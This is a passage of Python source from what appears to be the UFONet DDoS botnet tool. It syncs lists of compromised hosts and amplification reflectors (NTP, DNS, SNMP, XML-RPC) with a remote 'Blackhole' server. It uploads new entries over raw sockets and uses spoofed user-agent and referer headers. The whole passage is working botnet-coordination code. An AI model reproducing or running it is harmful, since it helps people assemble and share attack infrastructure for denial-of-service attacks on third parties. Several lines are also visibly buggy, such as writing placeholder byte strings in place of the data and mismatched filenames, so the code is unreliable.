  2477. print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
  2478. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  2479. f_out_troops = open('botnet/troops.txt', 'wb')
  2480. f_out_troops.write(f_in_troops.read())
  2481. f_in_troops.close()
  2482. f_out_troops.close()
  2483. num_aliens = 0
  2484. with open('botnet/aliens.txt') as f:
  2485. for _ in f:
  2486. num_aliens = num_aliens + 1
  2487. print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  2488. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  2489. f_out_drones = open('botnet/drones.txt', 'wb')
  2490. f_out_drones.write(f_in_drones.read())
  2491. f_in_drones.close()
  2492. f_out_drones.close()
  2493. num_drones = 0
  2494. with open('botnet/drones.txt') as f:
  2495. for _ in f:
  2496. num_drones = num_drones + 1
  2497. print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  2498. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  2499. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2500. f_out_reflectors.write(f_in_reflectors.read())
  2501. f_in_reflectors.close()
  2502. f_out_reflectors.close()
  2503. num_reflectors = 0
  2504. with open('botnet/reflectors.txt') as f:
  2505. for _ in f:
  2506. num_reflectors = num_reflectors + 1
  2507. print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  2508. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  2509. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2510. f_out_crystals.write(f_in_crystals.read())
  2511. f_in_crystals.close()
  2512. f_out_crystals.close()
  2513. num_crystals = 0
  2514. with open('botnet/crystals.txt') as f:
  2515. for _ in f:
  2516. num_crystals = num_crystals + 1
  2517. print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  2518. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  2519. f_out_warps = open('botnet/warps.txt', 'wb')
  2520. f_out_warps.write(f_in_warps.read())
  2521. f_in_warps.close()
  2522. f_out_warps.close()
  2523. num_warps = 0
  2524. with open('botnet/warps.txt') as f:
  2525. for _ in f:
  2526. num_warps = num_warps + 1
  2527. print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
  2528. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  2529. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2530. f_out_bosons.write(f_in_bosons.read())
  2531. f_in_bosons.close()
  2532. f_out_bosons.close()
  2533. num_bosons = 0
  2534. with open('botnet/bosons.txt') as f:
  2535. for _ in f:
  2536. num_bosons = num_bosons + 1
  2537. print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  2538. print('-'*12 + '\n')
  2539. if not self.options.forceyes:
  2540. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  2541. print('-'*25)
  2542. else:
  2543. update_reply = "Y"
  2544. if update_reply == "n" or update_reply == "N":
  2545. os.remove('botnet/abductions.txt') # remove abductions file
  2546. os.remove('botnet/troops.txt') # remove troops file
  2547. os.remove('botnet/robots.txt') # remove robots file
  2548. os.remove('botnet/drones.txt') # remove drones file
  2549. os.remove('botnet/reflectors.txt') # remove reflectors file
  2550. os.remove('botnet/crystals.txt') # remove crystals file
  2551. os.remove('botnet/warps.txt') # remove warps file
  2552. os.remove('botnet/bosons.txt') # remove bosons file
  2553. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2554. return
  2555. else:
  2556. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2557. print('='*35)
  2558. zombies = self.extract_zombies()
  2559. if not zombies:
  2560. return
  2561. test = self.testing(zombies)
  2562. zombies_community = []
  2563. zombies_added = 0
  2564. f = open('botnet/abductions.txt')
  2565. abductions = f.readlines()
  2566. abductions = [abduction.strip() for abduction in abductions]
  2567. f.close()
  2568. fz = open(self.zombies_file)
  2569. zombies = fz.readlines()
  2570. zombies = [zombie.strip() for zombie in zombies]
  2571. fz.close()
  2572. for zombie in zombies:
  2573. if zombie not in abductions:
  2574. zombies_community.append(zombie)
  2575. zombies_added = zombies_added + 1
  2576. else:
  2577. pass
  2578. print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
  2579. aliens = self.extract_aliens()
  2580. if not aliens:
  2581. return
  2582. aliens_community = []
  2583. aliens_added = 0
  2584. f = open('botnet/troops.txt')
  2585. troops = f.readlines()
  2586. troops = [troop.strip() for troop in troops]
  2587. f.close()
  2588. fz = open(self.aliens_file)
  2589. aliens = fz.readlines()
  2590. aliens = [alien.strip() for alien in aliens]
  2591. fz.close()
  2592. for alien in aliens:
  2593. if alien not in troops:
  2594. aliens_community.append(alien)
  2595. aliens_added = aliens_added + 1
  2596. else:
  2597. pass
  2598. print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
  2599. droids = self.extract_droids()
  2600. if not droids:
  2601. return
  2602. droids_community = []
  2603. droids_added = 0
  2604. f = open('botnet/robots.txt')
  2605. robots = f.readlines()
  2606. robots = [robot.strip() for robot in robots]
  2607. f.close()
  2608. fz = open(self.droids_file)
  2609. droids = fz.readlines()
  2610. droids = [droid.strip() for droid in droids]
  2611. fz.close()
  2612. for droid in droids:
  2613. if droid not in robots:
  2614. droids_community.append(droid)
  2615. droids_added = droids_added + 1
  2616. else:
  2617. pass
  2618. print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
  2619. ucavs = self.extract_ucavs()
  2620. if not ucavs:
  2621. return
  2622. ucavs_community = []
  2623. ucavs_added = 0
  2624. f = open('botnet/drones.txt')
  2625. drones = f.readlines()
  2626. drones = [drone.strip() for drone in drones]
  2627. f.close()
  2628. fz = open(self.ucavs_file)
  2629. ucavs = fz.readlines()
  2630. ucavs = [ucav.strip() for ucav in ucavs]
  2631. fz.close()
  2632. for ucav in ucavs:
  2633. if ucav not in drones:
  2634. ucavs_community.append(ucav)
  2635. ucavs_added = ucavs_added + 1
  2636. else:
  2637. pass
  2638. print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  2639. rpcs = self.extract_rpcs()
  2640. if not rpcs:
  2641. return
  2642. rpcs_community = []
  2643. rpcs_added = 0
  2644. f = open('botnet/reflectors.txt')
  2645. reflectors = f.readlines()
  2646. reflectors = [reflector.strip() for reflector in reflectors]
  2647. f.close()
  2648. fz = open(self.rpcs_file)
  2649. rpcs = fz.readlines()
  2650. rpcs = [rpc.strip() for rpc in rpcs]
  2651. fz.close()
  2652. for rpc in rpcs:
  2653. if rpc not in reflectors:
  2654. rpcs_community.append(rpc)
  2655. rpcs_added = rpcs_added + 1
  2656. else:
  2657. pass
  2658. print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  2659. ntps = self.extract_ntps()
  2660. if not ntps:
  2661. return
  2662. ntps_community = []
  2663. ntps_added = 0
  2664. f = open('botnet/crystals.txt')
  2665. crystals = f.readlines()
  2666. crystals = [crystal.strip() for crystal in crystals]
  2667. f.close()
  2668. fz = open(self.ntps_file)
  2669. ntps = fz.readlines()
  2670. ntps = [ntp.strip() for ntp in ntps]
  2671. fz.close()
  2672. for ntp in ntps:
  2673. if ntp not in crystals:
  2674. ntps_community.append(ntp)
  2675. ntps_added = ntps_added + 1
  2676. else:
  2677. pass
  2678. print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
  2679. dnss = self.extract_dnss()
  2680. if not dnss:
  2681. return
  2682. dnss_community = []
  2683. dnss_added = 0
  2684. f = open('botnet/warps.txt')
  2685. warps = f.readlines()
  2686. warps = [warp.strip() for warp in warps]
  2687. f.close()
  2688. fz = open(self.dnss_file)
  2689. dnss = fz.readlines()
  2690. dnss = [dns.strip() for dns in dnss]
  2691. fz.close()
  2692. for dns in dnss:
  2693. if dns not in warps:
  2694. dnss_community.append(dns)
  2695. dnss_added = dnss_added + 1
  2696. else:
  2697. pass
  2698. print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
  2699. snmps = self.extract_snmps()
  2700. if not snmps:
  2701. return
  2702. snmps_community = []
  2703. snmps_added = 0
  2704. f = open('botnet/bosons.txt')
  2705. bosons = f.readlines()
  2706. bosons = [boson.strip() for boson in bosons]
  2707. f.close()
  2708. fz = open(self.snmps_file)
  2709. snmps = fz.readlines()
  2710. snmps = [snmp.strip() for snmp in snmps]
  2711. fz.close()
  2712. for snmp in snmps:
  2713. if snmp not in crystals:
  2714. snmps_community.append(snmp)
  2715. snmps_added = snmps_added + 1
  2716. else:
  2717. pass
  2718. print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  2719. print('-'*12 + '\n')
  2720. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2721. os.remove('botnet/abductions.txt') # remove abductions file
  2722. os.remove('botnet/troops.txt') # remove troops file
  2723. os.remove('botnet/robots.txt') # remove robots file
  2724. os.remove('botnet/drones.txt') # remove ucavs file
  2725. os.remove('botnet/reflectors.txt') # remove rpcs file
  2726. os.remove('botnet/crystals.txt') # remove crystals file
  2727. os.remove('botnet/warps.txt') # remove warps file
  2728. os.remove('botnet/bosons.txt') # remove snmps file
  2729. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2730. return
  2731. else:
  2732. print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
  2733. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2734. for zombie in zombies_community:
  2735. fc.write(b'zombie.strip()')
  2736. fc.close()
  2737. os.remove('botnet/abductions.txt') # remove abductions file
  2738. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2739. for alien in aliens_community:
  2740. fc.write(b'alien.strip()')
  2741. fc.close()
  2742. os.remove('botnet/troops.txt') # remove troops file
  2743. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2744. for droid in droids_community:
  2745. fc.write(b'droid.strip()')
  2746. fc.close()
  2747. os.remove('botnet/robots.txt') # remove robots file
  2748. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2749. for ucav in ucavs_community:
  2750. fc.write(b'ucav.strip()')
  2751. fc.close()
  2752. os.remove('botnet/drones.txt') # remove drones file
  2753. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2754. for rpc in rpcs_community:
  2755. fc.write(b'rpc.strip()')
  2756. fc.close()
  2757. os.remove('botnet/reflectors.txt') # remove reflectors file
  2758. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2759. for ntp in ntps_community:
  2760. fc.write(b'ntp.strip()')
  2761. fc.close()
  2762. os.remove('botnet/crystals.txt') # remove crystals file
  2763. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2764. for dns in dnss_community:
  2765. fc.write(b'dns.strip()')
  2766. fc.close()
  2767. os.remove('botnet/warps.txt') # remove warps file
  2768. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2769. for snmp in snmps_community:
  2770. fc.write(b'snmp.strip()')
  2771. fc.close()
  2772. os.remove('botnet/bosons.txt') # remove bosons file
  2773. try: # open a socket and send data to the blackhole reciever port
  2774. host = self.blackhole
  2775. cport = 9991
  2776. mport = 9990
  2777. try:
  2778. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2779. cs.connect((host, cport))
  2780. cs.send(("SEND " + 'community_zombies.txt.gz').encode())
  2781. cs.close()
  2782. f = open('botnet/community_zombies.txt.gz', "rb")
  2783. data = f.read()
  2784. f.close()
  2785. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2786. ms.connect((host, mport))
  2787. ms.send(data)
  2788. ms.close()
  2789. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2790. time.sleep(1)
  2791. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2792. cs.connect((host, cport))
  2793. cs.send(("SEND " + 'community_aliens.txt.gz').encode())
  2794. cs.close()
  2795. f = open('botnet/community_aliens.txt.gz', "rb")
  2796. data = f.read()
  2797. f.close()
  2798. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2799. ms.connect((host, mport))
  2800. ms.send(data)
  2801. ms.close()
  2802. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2803. time.sleep(1)
  2804. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2805. cs.connect((host, cport))
  2806. cs.send(("SEND " + 'community_robots.txt.gz').encode())
  2807. cs.close()
  2808. f = open('botnet/community_droids.txt.gz', "rb")
  2809. data = f.read()
  2810. f.close()
  2811. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2812. ms.connect((host, mport))
  2813. ms.send(data)
  2814. ms.close()
  2815. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2816. time.sleep(1)
  2817. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2818. cs.connect((host, cport))
  2819. cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
  2820. cs.close()
  2821. f = open('botnet/community_ucavs.txt.gz', "rb")
  2822. data = f.read()
  2823. f.close()
  2824. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2825. ms.connect((host, mport))
  2826. ms.send(data)
  2827. ms.close()
  2828. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2829. time.sleep(1)
  2830. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2831. cs.connect((host, cport))
  2832. cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
  2833. cs.close()
  2834. f = open('botnet/community_rpcs.txt.gz', "rb")
  2835. data = f.read()
  2836. f.close()
  2837. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2838. ms.connect((host, mport))
  2839. ms.send(data)
  2840. ms.close()
  2841. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2842. time.sleep(1)
  2843. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2844. cs.connect((host, cport))
  2845. cs.send(("SEND " + 'community_ntps.txt.gz').encode())
  2846. cs.close()
  2847. f = open('botnet/community_ntps.txt.gz', "rb")
  2848. data = f.read()
  2849. f.close()
  2850. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2851. ms.connect((host, mport))
  2852. ms.send(data)
  2853. ms.close()
  2854. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2855. time.sleep(1)
  2856. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2857. cs.connect((host, cport))
  2858. cs.send(("SEND " + 'community_dnss.txt.gz').encode())
  2859. cs.close()
  2860. f = open('botnet/community_dnss.txt.gz', "rb")
  2861. data = f.read()
  2862. f.close()
  2863. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2864. ms.connect((host, mport))
  2865. ms.send(data)
  2866. ms.close()
  2867. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2868. time.sleep(1)
  2869. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2870. cs.connect((host, cport))
  2871. cs.send(("SEND " + 'community_snmps.txt.gz').encode())
  2872. cs.close()
  2873. f = open('botnet/community_snmps.txt.gz', "rb")
  2874. data = f.read()
  2875. f.close()
  2876. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2877. ms.connect((host, mport))
  2878. ms.send(data)
  2879. ms.close()
  2880. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2881. time.sleep(2) # sleep a bit more
  2882. print('-'*12 + '\n')
  2883. print("[Info] [AI] Transfer -> [DONE!]\n")
  2884. except Exception as e:
  2885. print(str(e) + "\n")
  2886. except:
  2887. print('-'*12 + '\n')
  2888. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2889. return
  2890. except Exception as e:
  2891. print(str(e) + "\n")
  2892. print('-'*12 + '\n')
  2893. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2894. return
  2895. def update_gui_data(self):
  2896. # download all GUI stream data
  2897. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2898. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2899. if self.options.proxy: # set proxy
  2900. self.proxy_transport(self.options.proxy)
  2901. if self.options.timeout: # set timeout
  2902. try:
  2903. timeout = int(self.options.timeout)
  2904. except:
  2905. timeout = 5
  2906. else:
  2907. timeout = 5
  2908. if timeout < 1:
  2909. timeout = 5
  2910. if self.options.forcessl:
  2911. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2912. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2913. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2914. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2915. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2916. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2917. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2918. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2919. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2920. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2921. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2922. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2923. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2924. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2925. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2926. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2927. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2928. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2929. nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2930. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2931. else:
  2932. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2933. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2934. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2935. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2936. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2937. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2938. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2939. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2940. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2941. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2942. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2943. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2944. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2945. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2946. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2947. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2948. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2949. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2950. nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2951. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
  2952. f = open(self.news_file, 'w')
  2953. f.write(news_reply)
  2954. f.close()
  2955. f = open(self.tv_file, 'w')
  2956. f.write(tv_reply)
  2957. f.close()
  2958. f = open(self.missions_file, 'w')
  2959. f.write(missions_reply)
  2960. f.close()
  2961. f = open(self.board_file, 'w')
  2962. f.write(board_reply)
  2963. f.close()
  2964. f = open(self.grid_file, 'w')
  2965. f.write(grid_reply)
  2966. f.close()
  2967. f = open(self.wargames_file, 'w')
  2968. f.write(wargames_reply)
  2969. f.close()
  2970. f = open(self.links_file, 'w')
  2971. f.write(links_reply)
  2972. f.close()
  2973. f = open(self.streams_file, 'w')
  2974. f.write(streams_reply)
  2975. f.close()
  2976. f = open(self.globalnet_file, 'w')
  2977. f.write(globalnet_reply)
  2978. f.close()
  2979. f = open(self.nodes_file, 'w')
  2980. f.write(nodes_reply)
  2981. f.close()
  2982. print('-'*25 + "\n")
  2983. print("[Info] [AI] GUI data correctly updated:\n")
  2984. if news_reply:
  2985. print("[Info] [AI] [News] : OK!")
  2986. if missions_reply:
  2987. print("[Info] [AI] [Missions] : OK!")
  2988. if board_reply:
  2989. print("[Info] [AI] [Board] : OK!")
  2990. if grid_reply:
  2991. print("[Info] [AI] [Grid] : OK!")
  2992. if wargames_reply:
  2993. print("[Info] [AI] [Wargames] : OK!")
  2994. if links_reply:
  2995. print("[Info] [AI] [Links] : OK!")
  2996. if streams_reply:
  2997. print("[Info] [AI] [Streams] : OK!")
  2998. if tv_reply:
  2999. print("[Info] [AI] [TV] : OK!")
  3000. if globalnet_reply:
  3001. print("[Info] [AI] [GlobalNet]: OK!")
  3002. if nodes_reply:
  3003. print("[Info] [AI] [Nodes] : OK!")
  3004. print('-'*25)
  3005. print("\n[AI] "+self.exit_msg+"\n")
  3006. def downloading_list(self):
  3007. # add your mirror to protect/share/distribute... [Zombies]
  3008. try:
  3009. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  3010. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3011. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3012. if self.options.timeout: # set timeout
  3013. try:
  3014. timeout = int(self.options.timeout)
  3015. except:
  3016. timeout = 5
  3017. else:
  3018. timeout = 5
  3019. if timeout < 1:
  3020. timeout = 5
  3021. if self.options.proxy: # set proxy
  3022. self.proxy_transport(self.options.proxy)
  3023. if self.options.forcessl:
  3024. try:
  3025. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  3026. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3027. except:
  3028. abductions_reply = ""
  3029. try:
  3030. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  3031. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3032. except:
  3033. troops_reply = ""
  3034. try:
  3035. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  3036. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3037. except:
  3038. robots_reply = ""
  3039. try:
  3040. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  3041. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3042. except:
  3043. drones_reply = ""
  3044. try:
  3045. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  3046. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3047. except:
  3048. reflectors_reply = ""
  3049. try:
  3050. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  3051. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3052. except:
  3053. crystals_reply = ""
  3054. try:
  3055. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  3056. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3057. except:
  3058. warps_reply = ""
  3059. try:
  3060. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  3061. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3062. except:
  3063. bosons_reply = ""
  3064. else:
  3065. try:
  3066. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  3067. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3068. except:
  3069. abductions_reply = ""
  3070. try:
  3071. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  3072. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3073. except:
  3074. troops_reply = ""
  3075. try:
  3076. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  3077. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3078. except:
  3079. robots_reply = ""
  3080. try:
  3081. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  3082. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3083. except:
  3084. drones_reply = ""
  3085. try:
  3086. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  3087. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3088. except:
  3089. reflectors_reply = ""
  3090. try:
  3091. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  3092. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3093. except:
  3094. crystals_reply = ""
  3095. try:
  3096. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  3097. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3098. except:
  3099. warps_reply = ""
  3100. try:
  3101. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  3102. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3103. except:
  3104. bosons_reply = ""
  3105. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3106. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  3107. print('-'*12 + '\n')
  3108. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  3109. return
  3110. f = open('botnet/abductions.txt.gz', 'wb')
  3111. f.write(abductions_reply)
  3112. f.close()
  3113. f = open('botnet/troops.txt.gz', 'wb')
  3114. f.write(troops_reply)
  3115. f.close()
  3116. f = open('botnet/robots.txt.gz', 'wb')
  3117. f.write(robots_reply)
  3118. f.close()
  3119. f = open('botnet/drones.txt.gz', 'wb')
  3120. f.write(drones_reply)
  3121. f.close()
  3122. f = open('botnet/reflectors.txt.gz', 'wb')
  3123. f.write(reflectors_reply)
  3124. f.close()
  3125. f = open('botnet/crystals.txt.gz', 'wb')
  3126. f.write(crystals_reply)
  3127. f.close()
  3128. f = open('botnet/warps.txt.gz', 'wb')
  3129. f.write(warps_reply)
  3130. f.close()
  3131. f = open('botnet/bosons.txt.gz', 'wb')
  3132. f.write(bosons_reply)
  3133. f.close()
  3134. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  3135. except:
  3136. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  3137. print('-'*12 + '\n')
  3138. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  3139. return
  3140. print('-'*12 + '\n')
  3141. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  3142. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3143. f_out_abductions.write(f_in_abductions.read())
  3144. f_in_abductions.close()
  3145. f_out_abductions.close()
  3146. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  3147. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  3148. f_out_troops = open('botnet/troops.txt', 'wb')
  3149. f_out_troops.write(f_in_troops.read())
  3150. f_in_troops.close()
  3151. f_out_troops.close()
  3152. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  3153. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  3154. f_out_robots = open('botnet/robots.txt', 'wb')
  3155. f_out_robots.write(f_in_robots.read())
  3156. f_in_robots.close()
  3157. f_out_robots.close()
  3158. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  3159. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  3160. f_out_drones = open('botnet/drones.txt', 'wb')
  3161. f_out_drones.write(f_in_drones.read())
  3162. f_in_drones.close()
  3163. f_out_drones.close()
  3164. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  3165. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  3166. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
